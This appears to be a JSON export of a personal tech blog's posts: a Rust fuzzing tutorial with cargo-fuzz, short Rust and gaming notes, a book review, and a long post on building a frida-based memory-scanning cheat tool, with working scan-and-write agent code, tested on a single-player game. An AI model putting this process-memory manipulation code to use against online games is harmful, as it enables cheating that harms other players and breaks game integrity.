[{"content":" Concepts # What is a fuzzer # A fuzzer is a program that can take another program and exercise its features by supplying many many different kinds of input to it, trying to exercise and stress the program under test as much as possible, with the goal of uncovering bugs and crashes.\nCoverage-guided fuzzers # A naive solution for a fuzzer would just randomly throw inputs at the program, and then record the test input that made the program crash/hang.\nHowever, in doing this, we would have no way of \u0026ldquo;guiding\u0026rdquo; the way we generate input. We would have no way of establishing whether an input is \u0026ldquo;better\u0026rdquo; than another (better here means: exercises more the program) unless there is a crash. Or, we would have no way of knowing whether the specific entrypoint that the fuzzer is using, is touching all the relevant and fuzzable parts of the codebase.\nThe way to solve this is by implementing a way to measure the coverage of the fuzzing process. So we obtain:\nA way to discover paths that are not touched by the fuzzer, so that we can improve the harness1. A way for the fuzzer to guide, at runtime, the generation/mutation of the inputs, prioritizing inputs that increase the coverage. A way to obtain this runtime coverage is to instrument the program, adding some custom profiling to the basic blocks that are executed. This can be done by using custom compiler passes, or by using dynamic instrumentation frameworks.\nExample project # In order to experiment with fuzzing, I\u0026rsquo;ve created a toy example on https://github.com/suidpit/rust-fuzz-garden. It contains a simple API function:\nconst SECRET: [u8; 9] = *b\u0026#34;FUZZME123\u0026#34;; pub fn take_string(input: \u0026amp;str) { let bytes = input.as_bytes(); if bytes.len() != SECRET.len() { return; } if bytes[0] != SECRET[0] { return; } if bytes[1] != SECRET[1] { return; } if bytes[2] != SECRET[2] { return; } if bytes[3] != SECRET[3] { return; } if bytes[4] != SECRET[4] { return; } if bytes[5] != SECRET[5] { return; } if bytes[6] != SECRET[6] { return; } if bytes[7] != SECRET[7] { return; } if bytes[8] != SECRET[8] { return; } panic!(\u0026#34;full match reached crash condition\u0026#34;); } The take_string function takes the input and compares it byte-to-byte to a given secret. A good coverage-guided fuzzer should be easily able to iteratively extract the crashing test-case (which we expect to be exactly equal to FUZZME123).\nFuzzing with libfuzzer via cargo-fuzz # libfuzzer is the industry standard for in-process2 fuzzing. It is part of the LLVM project, which makes it very easy to integrate in Rust projects, since rustc is actually a compiler frontend for the LLVM IR.\nFuzzing with libfuzzer can be easily setup by utilizing the cargo-fuzz utility, which hides much of the complexity of setting up the compilation flags for fuzzing.\nOnce the requirements are installed and the test repository is cloned, we can init a new fuzzer with cargo fuzz init.\nNotice that the command created a new directory, named fuzz, in the project. This contains:\nA Cargo.toml with the dependencies and settings of the fuzzing crate A fuzz/fuzz_targets/fuzz_target_1.rs, that contains the skeleton code of a fuzzing harness: #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: \u0026amp;[u8]| { // fuzzed code goes here }); fuzz_target! here is the macro that will be expanded into the C ABI that libfuzzer expects. At runtime, libfuzzer will run the body of fuzz_target! with each time a different vector of input bytes (that will be mutated according to the coverage feedback).\nIn this example, we can just convert the bytes to UTF-8 and then invoke the target API:\n#![no_main] use libfuzzer_sys::fuzz_target; extern crate rust_fuzz_garden; fuzz_target!(|data: \u0026amp;[u8]| { if let Ok(s) = std::str::from_utf8(data) { rust_fuzz_garden::take_string(s); } }); And then build the fuzzer with cargo fuzz build (from the root directory of the project).\nBefore starting the fuzzer, you can take a moment to explore all the command line arguments supported by the fuzzer by running:\ncargo fuzz run \u0026lt;name_of_the_fuzzer_target\u0026gt; -- -help=1 And then we can simply start the fuzzer3:\ncargo fuzz run \u0026lt;name_of_the_fuzzer_target\u0026gt;\nAfter a few seconds, the fuzzing stops because the program crashed:\nFailing input: fuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338 Output of `std::fmt::Debug`: [70, 85, 90, 90, 77, 69, 49, 50, 51] Reproduce with: cargo fuzz run fuzz_take_string fuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338 Minimize test case with: cargo fuzz tmin fuzz_take_string fuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338 We can also quickly inspect the body of the crashing test-case to confirm that it is what we expected:\n➜ rust-fuzz-garden git:(libfuzzer) cat fuzz/artifacts/fuzz_take_string/crash-3dd6b4c5a9468adf21b788190d130f58e4558338 FUZZME123% ➜ rust-fuzz-garden git:(libfuzzer) This wraps up this very simple note. There are other interesting parts, such as profile the coverage to improve the harness, or minimizing test cases, but this is a simple note, therefore let\u0026rsquo;s keep it simple.\nA harness is the program written specifically for fuzzing a library, that exercises the API offered by the library in a way suited to maximize coverage (for instance by relaxing some validity constraints).\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIn-process fuzzing is a technique that reuses the same process on each iteration, instead of forking, to optimize execs/s.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIn a real-world fuzzing campaign, you would probably supply a given amount of argument, such as instance the initial corpus of data.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"9 April 2026","externalUrl":null,"permalink":"/notes/fuzzing_rust/","section":"Notes","summary":"","title":"Fuzzing Rust projects with `cargo-fuzz` and libfuzzer","type":"notes"},{"content":"","date":"9 April 2026","externalUrl":null,"permalink":"/notes/","section":"Notes","summary":"","title":"Notes","type":"notes"},{"content":" THE SUID PIT is the place where I write. Enjoy your stay here.\n","date":"9 April 2026","externalUrl":null,"permalink":"/","section":"The SUID PIT","summary":"","title":"The SUID PIT","type":"page"},{"content":"Rust has a very common iterator pattern that looks like iter().map(...).collect(). There are many other iterator combinators, but this particular shape appears frequently in Rust code I have seen \u0026ndash; which, admittedly, is not a lot, but still /shrugs/.\nThe iter() method creates an iterator that references the elements of a collection. The map() takes a function that transforms each element of the iterator and returns a new iterator. The collect() trasforms the iterator into a collection. Thus, the following:\n// capitalize is redacted fn main() { let v = vec![\u0026#34;foo\u0026#34;, \u0026#34;bar\u0026#34;, \u0026#34;baz\u0026#34;]; let upper_v = v.iter().map(|s| capitalize(s)).collect::\u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt;(); println!(\u0026#34;{:?}\u0026#34;, upper_v); } Will print:\n[\u0026#34;Foo\u0026#34;, \u0026#34;Bar\u0026#34;, \u0026#34;Baz\u0026#34;] The good is that it\u0026rsquo;s fully typed (see how I did to specify the \u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt; there?), it\u0026rsquo;s very compact and clear, it compiles all the iterator steps into a single optimized loop\u0026hellip;and also, it\u0026rsquo;s ✨ lazy ✨\nWhich means that we can do something like this:\nnums.iter() .filter(|x| x % 2 == 0) .map(|x| x * x) .take(5) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); where the take(5) is slicing the iterator to take only the first 5 values, and only then we collect. Which has the great advantage that the collection is \u0026ldquo;concretized\u0026rdquo; on the last step, therefore we don\u0026rsquo;t waste time by computing the square of every even number in nums and slicing afterwards, but instead we bake the slicing into the \u0026ldquo;recipe\u0026rdquo; of the iterator, if it makes sense.\n","date":"10 March 2026","externalUrl":null,"permalink":"/notes/iter_map_collect/","section":"Notes","summary":"","title":"Rust's iter-\u003emap-\u003ecollect","type":"notes"},{"content":"It\u0026rsquo;s funny, it\u0026rsquo;s brilliant, it\u0026rsquo;s scientifically dense in a way that only Andy can pull off. Oh my gosh. I was literally crying on the ending.\nI can\u0026rsquo;t tell anything about the plot rather than this little teaser:\nA man wakes up on a table with amnesia. There\u0026rsquo;s a robot that repeatedly asks him: \u0026ldquo;Who are you?\u0026rdquo;\nReading a book from Andy Weir (he\u0026rsquo;s also the one who wrote The Martian, by the way) should be the mandatory extra-school activity that every high school science teacher recommends. He\u0026rsquo;s that good.\n","date":"9 March 2026","externalUrl":null,"permalink":"/notes/project-hail-mary/","section":"Notes","summary":"","title":"Quick review: Project Hail Mary by Andy Weir","type":"notes"},{"content":" NVIDIA DLSS stands for Deep Learning Super Sampling.\nI have seen it in driver updates. I have enabled it in my graphics settings. So what\u0026rsquo;s the deal?\nAFAIU, DLSS is a family of technologies that use machine learning to improve quality without degrading performance:\nDLSS Super Resolution: AI is used to upscale the rendered frame to a higher resolution. This means that the GPU can render at a lower resolution (which reduces the load) and the gamer can still enjoy the higher resolution on the final frame.\nDLSS Frame Generation: AI is used to generate intermediate frames between the actual rendered frames. This effectively improves the frame rate without asking the GPU to sweat more.\nThe effect is very noticeable. Here\u0026rsquo;s a comparison I recorded with/without DLSS enabled, same level of detail. DLSS is set on \u0026ldquo;Quality\u0026rdquo; mode, and FPS are almost doubled:\nYour browser cannot play this video. Download video.\n","date":"8 March 2026","externalUrl":null,"permalink":"/notes/nvidia_dlss/","section":"Notes","summary":"","title":"TIL: NVIDIA DLSS","type":"notes"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/posts/","section":"Experiments","summary":"","title":"Experiments","type":"posts"},{"content":" DISCLAIMER This blogpost, together with its proof of concept tool, were only developed to learn more about how game cheats are made, and what techniques might be used to write them. Only single player games have been used as experiments, as it should be. I do not condone using any of the techniques shown in this post to develop/sell cheats for multiplayer games, either PvE or PvP. Learning is fun. Online cheating is lame.\nIntro # Howdy.\nSome time ago, I was hanging around with a few friends on Discord, and we were trying to attach CheatEngine to an Android game. Googling or LLM-ing \u0026ldquo;Can I run CheatEngine on Android?\u0026rdquo; yields responses even more confusing than asking which fruit is OK on pizza, so that didn\u0026rsquo;t help.\nIn the end, IIRC, we sort of managed to use the tool, but I was left wondering: how hard could it be to follow the one and only parable and build our own cross-platform game hacking birdfeeder?\nTurns out, it\u0026rsquo;s not trivial. Turns out, it\u0026rsquo;s actually fun.\nWhat and How # Note The requirements for this proof of concept are heavily inspired by CheatEngine. Nonetheless, it\u0026rsquo;s not plagiarism, it\u0026rsquo;s admiration.\nThe \u0026ldquo;Hello World\u0026rdquo; of game hacking is a Memory Hack — heck, it\u0026rsquo;s actually the only hack included in the Game Hacking Academy\u0026rsquo;s basics chapter.\nA memory hack essentially boils down to finding the memory address where a given game entity – such as your health, gold, ammo, or RAL, on life simulators – is stored in the game memory, and changing it.\nSo the tool needs to read and write process memory, do it cross-platform (this whole thing started because CheatEngine wouldn\u0026rsquo;t run on Android), and expose an interactive UI; after all, memory hacking is an iterative, trial-and-error process.\nWait, no AI? I know what you\u0026rsquo;re thinking. In 2026, I should consider making this agentic or, at the very least, expose an MCP server with simple scanning tools. However, for this PoC, I really only wanted to experiment with memory scanning internals. I\u0026rsquo;ll leave the \u0026ldquo;asking Claude to write my cheats\u0026rdquo; quest for another session.\nNow, I have a confession. Remember when I said my initial thought was \u0026ldquo;how hard could it be to build our own cross-platform game hacking birdfeeder\u0026rdquo;? Well, it was more something like: \u0026ldquo;how hard could it be to build one WITH FRIDA?\u0026rdquo;\nThe truth is, this past year I\u0026rsquo;ve used the awesome frida framework quite a lot, and well, when you have a hammer, everything looks like a process to inject frida with. Point is, frida makes a lot of sense for this quest. It is cross-platform, cross-architecture, and it comes with batteries. Lots of them.\nFor the GUI, a smart choice would be to use one of those modern web-based frameworks, maybe the ones that support native WebViews.\nBut honestly, when did I let you believe we were in the market for smart choices?\nI\u0026rsquo;ve gone with Godot — the open source game engine. Games need UIs, and Godot is flexible enough to let you leave out the game and just pick the UI part. Truth be told, the UI library is probably not the best thing that Godot has to offer, but since I really like the engine and I get to visually develop the UI using the editor, it works for me.\nSince the frida agent runs inside the target game and the Godot GUI runs as its own process, they need a bridge. A Python service handles this: the frida-python bindings are officially supported, and it exposes a JSON-RPC-like endpoint over WebSocket. GDScript has decent WebSocket support, so it all fits together. ![[diagram.png]]\nNow, most of the code written for this project is really straightforward. I already knew that frida can attach to processes and read/write memory, and I knew Godot can build decent UIs. So why call this a \u0026ldquo;proof of concept\u0026rdquo;?\nBecause I was totally unsure about the feasibility of fast memory scanning with frida.\nFor each scan, the tool needs to:\nEnumerate every memory segment currently mapped in the process Take the target size (e.g. 4 bytes) Take the target type (e.g. unsigned integers) For each possible 4-byte value in memory, compare that value with the target value Clearly, doing that in a way that allows live interaction requires some experiments. We love experiments!\nDeep Dive: scanning memory like no big deal # In order to evaluate and compare performances of the candidate implementations for memory scanning, one needs to build a lab.\nWriting a simple C program would not be a good idea to test feasibility, as we need to see what happens when we scan a full-fledged game with a ton of memory segments loaded. Thus, we need a real game.\nYes, a real game like this one:\nIn this experiment, we run the game on Linux (there\u0026rsquo;s a native build for Hollow Knight). After all, we did say this was going to be a cross-platform proof of concept.\nThe goal of this cheat is simply to get ourselves a lotta Geo.\nThe approach to get there is the following:\nScan the whole memory to find addresses that contain the current Geo value. In this case, it\u0026rsquo;s 128. Do something in the game to change how much Geo we have, either by spending or collecting them. Re-scan all the addresses collected at step 1, looking for addresses that now contain the new Geo value. Repeat steps 2-3 enough times to filter to a reasonably small number of results (ideally one). Once we have a good candidate, we can check if we got it right by writing a new value into that variable, and checking if it reflects in the game. Without further ado, let\u0026rsquo;s proceed with the experiments!\nThe batteries: MemoryScan API # I said before that frida comes with batteries, and that\u0026rsquo;s correct. In fact, memory scanning is a feature already supported by frida.\nThe API has the following signature:\nMemory.scan(address, size, pattern, callbacks) Where address and size are used to establish the range, pattern is a string in the form \u0026ldquo;BB BB BB BB\u0026rdquo;, where BB are byte values representing the values we\u0026rsquo;re scanning for, and callbacks is an object containing functions for the promise resolution (onMatch, onError, onComplete).\nThe implementation of our reference algorithm with the MemoryScan API follows below:\nimport { log } from \u0026#34;./logger.js\u0026#34;; let addresses: NativePointer[] = []; function numToPattern(num: number): string { return [ num \u0026amp; 0xff, (num \u0026gt;\u0026gt;\u0026gt; 8) \u0026amp; 0xff, (num \u0026gt;\u0026gt;\u0026gt; 16) \u0026amp; 0xff, (num \u0026gt;\u0026gt;\u0026gt; 24) \u0026amp; 0xff, ] .map((byte) =\u0026gt; byte.toString(16).padStart(2, \u0026#34;0\u0026#34;)) .join(\u0026#34;\u0026#34;); } export function firstScan(value: number) { const bytePattern = numToPattern(value); addresses = []; const ranges = Process.enumerateRanges(\u0026#34;rw-\u0026#34;); const start = Date.now(); ranges.forEach((range, i, arr) =\u0026gt; { const { base, size } = range; Memory.scan(base, size, bytePattern, { onMatch(address, size) { addresses.push(address); }, onComplete() { const elapsed = Date.now() - start; if (i === arr.length - 1) { log(`firstScan: ${addresses.length} candidates in ${elapsed}ms`); } }, onError(error) {}, }); }); } export function nextScan(value: number) { const newAddresses: NativePointer[] = []; const start = Date.now(); addresses.forEach((address) =\u0026gt; { if (address.readU32() === value) { newAddresses.push(address); } }); const elapsed = Date.now() - start; log( `nextScan: ${newAddresses.length} candidates in ${elapsed}ms (was ${addresses.length})`, ); addresses = newAddresses; } rpc.exports = { firstScan, nextScan, getAddresses: () =\u0026gt; addresses, }; The code should be straightforward, but here\u0026rsquo;s a couple of notable mentions:\nThe numToPattern function is just a very ugly way of encoding numbers into 32-bit Little Endian bytes We\u0026rsquo;re calling Memory.scan multiple times, one for each memory range that is marked both readable and writable, to avoid having to feed the entire memory range into the API The Memory.scan API is asynchronous, which means that calling the firstScan export does not block the REPL Here follows an excerpt of the frida interaction while using this cheat:\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.firstScan(128) [Local::hollow_knight.x86_64 ]-\u0026gt; firstScan: 207971 candidates in 1518ms [Local::hollow_knight.x86_64 ]-\u0026gt; // here I played HK, earning Geo [Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(130) nextScan: 8 candidates in 234ms (was 207989) [Local::hollow_knight.x86_64 ]-\u0026gt; // earned some more Geo [Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(132) nextScan: 2 candidates in 0ms (was 8) [Local::hollow_knight.x86_64 ]-\u0026gt; var addresses = rpc.exports.getAddresses() [Local::hollow_knight.x86_64 ]-\u0026gt; addresses[0].writeU32(31337) \u0026#34;0x7f4116c041cc\u0026#34; And, voilà:\nIn terms of elapsed time, we mostly consider the first scan, which is generally the heaviest one, since we need to scan through all the memory space. The Memory.scan API took 1.5s for that, which I would consider quite acceptable in terms of UX.\nThis first experiment went well\u0026hellip;but we can\u0026rsquo;t really wrap it up here.\nWhat about non-exact scans?\nIn reality, exact scans are not enough to identify game properties, simply because in many instances there would be no way to identify an exact value.\nAn example of this in HK would be the speed of the Ghost, or its health value. In such cases, we are only able to determine whether a certain value is increasing or decreasing (i.e. relative scanning) rather than its exact value, and this requires a flexibility that the Memory.scan API does not provide.\nInitially, I thought about enriching the API by patching frida, but I soon realized this would have probably introduced breaking changes, therefore I decided to go a different route: that is, reimplementing the Memory scanning logic in the agent.\nImportant While, as mentioned, the reason for re-implementing memory scanning is to support different kinds of scans (e.g. relative scans), for the following experiments I will still be using the simple Geo memory hack as reference, in order to keep using frida in its standalone REPL mode rather than having to complicate things. In the Showcase section, however, I will present an example of advanced scanning used to gain uber-fast speed.\nMemory Scanning in JS # My first - very naive - solution was to implement something like:\nconst ranges = Process.enumerateRanges(\u0026#34;rw-\u0026#34;); const start = Date.now(); ranges.forEach((range, i, arr) =\u0026gt; { const { base, size } = range; console.log( `Scanning range ${i + 1}/${arr.length}: ${base} - ${base.add(size)}`, ); try { for ( let address = base; address \u0026lt; base.add(size); address = address.add(4) ) { const word = address.readU32(); if (word === value) { addresses.push(address); } } } catch (error) { // pass, we don\u0026#39;t want to spam the console } }) on every iteration, we scan a 4-byte value, and we compare it with our target value.\nThis approach soon demonstrates to be unfeasible: every range-scan is unbearably slow and after a few of them, the process crashes.\nI can try to improve on that: assuming that the bottleneck is caused by calling the address.readU32 API a huge number of times, a solution would be to read a whole range and then search the needle locally, in JS:\nconst ranges = Process.enumerateRanges(\u0026#34;rw-\u0026#34;); const start = Date.now(); ranges.forEach((range, i, arr) =\u0026gt; { const { base, size } = range; console.log( `Scanning range ${i + 1}/${arr.length}: ${base} - ${base.add(size)}`, ); try { const buffer = base.readByteArray(size); if (!buffer) return; const view = new Uint32Array(buffer); for (let i = 0; i \u0026lt; view.length; i++) { if (view[i] === value) { addresses.push(base.add(i * 4)); } } } catch { } }); I loaded the agent in the HK process and tried again. The result:\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.firstScan(128) Scanning range 1/322: 0x203000 - 0x204000 Scanning range 2/322: 0x259c6000 - 0x29b46000 Scanning range 3/322: 0x40ebd000 - 0x40ecd000 Scanning range 4/322: 0x410fe000 - 0x411ad000 // SNIP firstScan: 17070 candidates in 12328ms [Local::hollow_knight.x86_64 ]-\u0026gt; // earned some Geo [Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(129) nextScan: 3 candidates in 20ms (was 17070) [Local::hollow_knight.x86_64 ]-\u0026gt; // earned some Geo [Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(130) nextScan: 2 candidates in 0ms (was 3) [Local::hollow_knight.x86_64 ]-\u0026gt; var addresses = rpc.exports.getAddresses() [Local::hollow_knight.x86_64 ]-\u0026gt; addresses[0].writeU32(31337) \u0026#34;0x7fedbdeea1cc\u0026#34; [Local::hollow_knight.x86_64 ]-\u0026gt; It worked, but 12 seconds is not great for the interactive tool I wanted to PoC.\nCModules to the rescue # At this point, I considered going full native with frida. After all, the JS bindings are just a convenient way to script agents, but nothing would prevent you from using the C API to develop the agent, which would address the performance issues.\nHowever, in doing so you would lose some of the nice-to-haves, such as, notably, all that machinery about having RPC exports and calling frida functions from Python. Instead, you\u0026rsquo;d need to re-implement a way of talking back to the Python side.\nRemember I told you about frida batteries? Well there\u0026rsquo;s one that is particularly useful in this scenario: it\u0026rsquo;s the CModule.\nEssentially, the CModule is an API that frida offers for scenarios where you need to perform \u0026ldquo;hot\u0026rdquo; operations that require native performances, without having to drop altogether the JS API.\nThe CModule accepts C source code as one of its arguments, and in its default configuration, it compiles it inside the process using a statically linked Tiny C Compiler.\nI can move all the memory read logic of the scanner in a CModule and then only report back results to the JS land:\nconst cScannerCode: string = ` #include \u0026lt;glib.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; uintptr_t * scan_region(uintptr_t base_address, size_t region_size, void *value_ptr, gsize *out_count) { GArray *results = g_array_new(FALSE, FALSE, sizeof(uintptr_t)); uint32_t value = *(uint32_t *)value_ptr; uintptr_t end_address = base_address + region_size; for (uintptr_t p = base_address; p \u0026lt;= end_address - 4; p += 4) { uint32_t *ptr = (uint32_t *)p; if (*ptr == value) { g_array_append_val(results, p); } } *out_count = results-\u0026gt;len; return (uintptr_t *)g_array_free(results, FALSE); } uintptr_t * filter_scans(uintptr_t *scan_results, size_t count, uintptr_t *filter_value_ptr, gsize *out_count) { GArray *filtered_results = g_array_new(FALSE, FALSE, sizeof(uintptr_t)); uint32_t filter_value = *(uint32_t *)filter_value_ptr; for (gsize i = 0; i \u0026lt; count; i++) { uintptr_t address = scan_results[i]; uint32_t *ptr = (uint32_t *)address; if (*ptr == filter_value) { g_array_append_val(filtered_results, address); } } *out_count = filtered_results-\u0026gt;len; return (uintptr_t *)g_array_free(filtered_results, FALSE); } `; const cm = new CModule(cScannerCode); const scan_region = new NativeFunction(cm.scan_region, \u0026#34;pointer\u0026#34;, [ \u0026#34;pointer\u0026#34;, \u0026#34;size_t\u0026#34;, \u0026#34;pointer\u0026#34;, \u0026#34;pointer\u0026#34;, ]); const filter_scans = new NativeFunction(cm.filter_scans, \u0026#34;pointer\u0026#34;, [ \u0026#34;pointer\u0026#34;, \u0026#34;size_t\u0026#34;, \u0026#34;pointer\u0026#34;, \u0026#34;pointer\u0026#34;, ]); let currentScanResults: { ptr: NativePointer; count: number }[] = []; const outCountPtr = Memory.alloc(Process.pointerSize); const valuePtr = Memory.alloc(Process.pointerSize); export function firstScan(value: number) { const start = Date.now(); const ranges = Process.enumerateRanges(\u0026#34;rw-\u0026#34;); currentScanResults = []; ranges.forEach((range) =\u0026gt; { try { valuePtr.writeU32(value); const newResultsPtr = scan_region( range.base, range.size, valuePtr, outCountPtr, ); const count = outCountPtr.readU32(); if (count \u0026gt; 0 \u0026amp;\u0026amp; !newResultsPtr.isNull()) currentScanResults.push({ ptr: newResultsPtr, count }); } catch (error) {} }); const totalCount = currentScanResults.reduce( (acc, { count }) =\u0026gt; acc + count, 0, ); console.log( `First scan took ${Date.now() - start}ms, total addresses found: ${totalCount}`, ); } export function nextScan(value: number) { const start = Date.now(); const newResults: { ptr: NativePointer; count: number }[] = []; valuePtr.writeU32(value); currentScanResults.forEach(({ ptr, count }) =\u0026gt; { try { const filteredPtr = filter_scans(ptr, count, valuePtr, outCountPtr); const filteredCount = outCountPtr.readU32(); if (filteredCount \u0026gt; 0 \u0026amp;\u0026amp; !filteredPtr.isNull()) newResults.push({ ptr: filteredPtr, count: filteredCount }); } catch (error) {} }); currentScanResults = newResults; const totalCount = currentScanResults.reduce( (acc, { count }) =\u0026gt; acc + count, 0, ); console.log( `Next scan took ${Date.now() - start}ms, total addresses found: ${totalCount}`, ); } export function getAddresses(): NativePointer[] { const addresses: NativePointer[] = []; currentScanResults.forEach(({ ptr, count }) =\u0026gt; { for (let i = 0; i \u0026lt; count; i++) { addresses.push(ptr.add(i * Process.pointerSize).readPointer()); } }); return addresses; } rpc.exports = { firstScan, nextScan, getAddresses, }; Notable highlights of the code above:\nThe CModule is built from C source code. The C code defines two functions, scan_region and filter_scans, then exported as NativeFunctions in the JS agent. To pass results back and forth between C and JS, it works like this: The JS agent defines currentResults, a list of objects, each one defined by a NativePointer and a count. For each range, the scan_region creates a GArray of results, populating it with addresses that match the scan. The scan_region returns the address of the array and its length, stored in a separate result pointer. The address and the length are used to append a new item in currentResults. The flow for filter_scans is analogous. Note This implementation of memory scanning with CModules is just one way of doing things, simplified for the sake of the PoC. There are improvements that can be applied all over the code, such as using SIMD instructions to compare multiple words at once, or using simple arrays rather than glib arrays to avoid losing time on bound checking.\nTime to test this new agent:\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.firstScan(128) First scan took 1705ms, total addresses found: 17196 [Local::hollow_knight.x86_64 ]-\u0026gt; // earned some Geo [Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(131) Next scan took 1ms, total addresses found: 3 [Local::hollow_knight.x86_64 ]-\u0026gt; var cur = rpc.exports.getAddresses() [Local::hollow_knight.x86_64 ]-\u0026gt; cur[0].writeU32(31339) \u0026#34;0x24f64c94\u0026#34; [Local::hollow_knight.x86_64 ]-\u0026gt; cur[1].writeU32(31339) \u0026#34;0x7f6d727511cc\u0026#34; [Local::hollow_knight.x86_64 ]-\u0026gt; cur[2].writeU32(31339) \u0026#34;0x7f6d76184880\u0026#34; [Local::hollow_knight.x86_64 ]-\u0026gt; The scan worked, and the first scan took less than two seconds, which is perfectly in line with the performance of the Memory.scan API.\nMoreover, with the added flexibility of writing my own code in C, I can easily support custom scan types simply modifying the scan_region and filter_scans code, just like this:\n// ... switch (scan_type) { case EXACT: if (value_at_addr == value_to_scan) { match = TRUE; } break; case LESS_THAN: if (value_at_addr \u0026lt; value_to_scan) { match = TRUE; } break; case GREATER_THAN: if (value_at_addr \u0026gt; value_to_scan) { match = TRUE; } // ... Freat - Feature showcase # Alright, after our little digression on how to use frida CModules to gain the best of the proverbial worlds, in this section I am going to showcase what I\u0026rsquo;ve built, taking you all on a journey of genuine and exploratory game hacking.\nThe tool is called freat, an extremely brilliant and secret portmanteau of the words frida and cheat, with a little linguistic easter egg for our European friends.\nWine support (and Steam Proton, too) # Freat is cross-platform in the sense that the release package can be built for Linux/macOS/Windows, but also - and most importantly - in the sense that, independently of where the server runs, it can attach to games running on any machine where frida is supported. Among the target providers (read about providers in the documentation) that are implemented, I added Wine and Proton.\nYou probably heard about Wine, the compatibility layer that powers pretty much every tool out there that Linux/macOS gamers use to play Windows games without dual booting. I thought it was cool to implement support for it, so that one could run Freat on a Linux host, run a Windows game through Wine, and still be able to attach to it.\nTurns out a simple way to implement this is simply to download the frida-server release for Windows, run it under the correct Wine prefix (which basically is the \u0026ldquo;machine\u0026rdquo; where Wine installs programs and Windows libraries, and more than one can exist on the host), and then connect to the exposed server, and frida will be able to see the Windows processes running in the \u0026ldquo;virtual machine\u0026rdquo; (it\u0026rsquo;s not a virtual machine), and instrument, attach, etc.\nWith a working support for Wine, the next logical step was tackling the Proton layer. Proton is the black magic empowering the Steam Deck (and Linux gamers out there), and guess what, it\u0026rsquo;s actually a glorified fork of Wine. Which means, that supporting Proton is just a matter of scavenging a few directories to find out what is the correct Wine prefix for running Steam games!\nFlexible Scanning # Currently, the following scan types have been implemented in Freat:\nExact Scans # Exact scans allow to scan (first scan) and filter (next scan) memory for a given value. We\u0026rsquo;ve already seen this in the previous section about CModules. Here\u0026rsquo;s how to do it in Freat:\nUnknown Scans # Sometimes, the game does not leak precise numbers for certain entities, and it rather uses visual representations such as spheres or bars.\nIn those cases, the \u0026ldquo;first scan\u0026rdquo; should be an unknown scans, where essentially every possible variable is taken into consideration. The - initially huge - list is then usually narrowed down by means of relative scans.\nRelative Scans # Relative scans allow to filter (next scan) current \u0026ldquo;selected\u0026rdquo; addresses, only picking those with a value that either increased, decreased or remained unchanged.\nIt can be quite useful to find game properties that do not expose exact values upon change, so it works well in tandem with unknown scans.\nYour browser cannot play this video. Download video.\nMemory Freezing/Scaling # For some cheats, it is enough to overwrite a value in a single shot. This would work well, for instance, with the amount of gold our character possesses.\nFor some other variables, however, a one-shot write is not convenient. Rewriting our health, or our current speed, to a certain value, does not prevent the game from rewriting it soon after because enemies hit us or because the game loop has recomputed the speed.\nFreezing to the rescue. Freezing boils down to, in a very hot loop (implemented as a native thread running in, guess what, a CModule), constantly rewriting the target variable with a value of our choice.\nA similar, but practically different mode of freezing is scaling. When scaling a variable, instead of fixing it to a target value, the module takes the last value that was written by the game and multiplies it by a given factor.\nThis can be used, notably, for position-related variables such as horizontal velocity in 2D games. In those games, in fact, the velocity will be either zero, negative, or positive, depending on whether we\u0026rsquo;re moving left or right.\nBy scaling the existing value by a given factor, instead of choosing a target value, it is possible to just amplify or reduce a game property, while preserving functionality.\nYour browser cannot play this video. Download video.\nWatchpoints # Scanning, freezing and writing memory can only get us so far. Most likely, starting from memory is just the first step toward identifying a function responsible for updating a property, start reverse engineering the game executable, and then writing a proper patch/mod.\nFor this reason, Freat supports setting watchpoints in read and/or write on identified addresses. Upon access, a popup appears with a simple stack-trace and some information on the modules and the offsets, to help bootstrapping the reverse engineering process.\nFuture work (?) # Even though this started as a lame weekend experiment, I\u0026rsquo;m having fun exploring this space, so I might find other lame weekends to dedicate to it.\nSome improvements that come to my mind:\nImproving scan/freezing performances Implementing support for live patches/code injections Implementing pointer scans to derandomize addresses and re-compute on new instances Conclusion # The goal of this proof of concept was, as it often happens with these journeys, to learn. For me - and I\u0026rsquo;m sure I\u0026rsquo;m not alone in this - building tools is the best way to do so.\nAfter all, that\u0026rsquo;s why we take notes: we write things down so that our brain is able to spell them out and, in doing so, things get ordered and knowledge gaps immediately appear visible.\nIn the very same way, writing tools is a great way of \u0026ldquo;testing\u0026rdquo; our knowledge - or the one that we believe we have - and it\u0026rsquo;s guaranteed that very soon in the process we\u0026rsquo;ll start to find gaps, and new rabbit holes, and it all becomes a great playground for innovation.\nThe code is hosted on GitHub.\nThis journey is not over, by the way: while developing Freat, I faced new problems and found new solutions, and then\u0026hellip;I gave in to scope creep and started working on more advanced features (some of them are still not public yet). I\u0026rsquo;ll write more!\nUntil next time. Happy hacking!\n","date":"24 February 2026","externalUrl":null,"permalink":"/posts/freat-intro/","section":"Experiments","summary":"Can we mash together frida, Python and Godot to write an ugly CheatEngine clone and learn more about game hacking?","title":"Freat - writing a game hacking birdfeeder for fun and...fun","type":"posts"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/frida/","section":"Tags","summary":"","title":"Frida","type":"tags"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/game-hacking/","section":"Tags","summary":"","title":"Game-Hacking","type":"tags"},{"content":"","date":"24 February 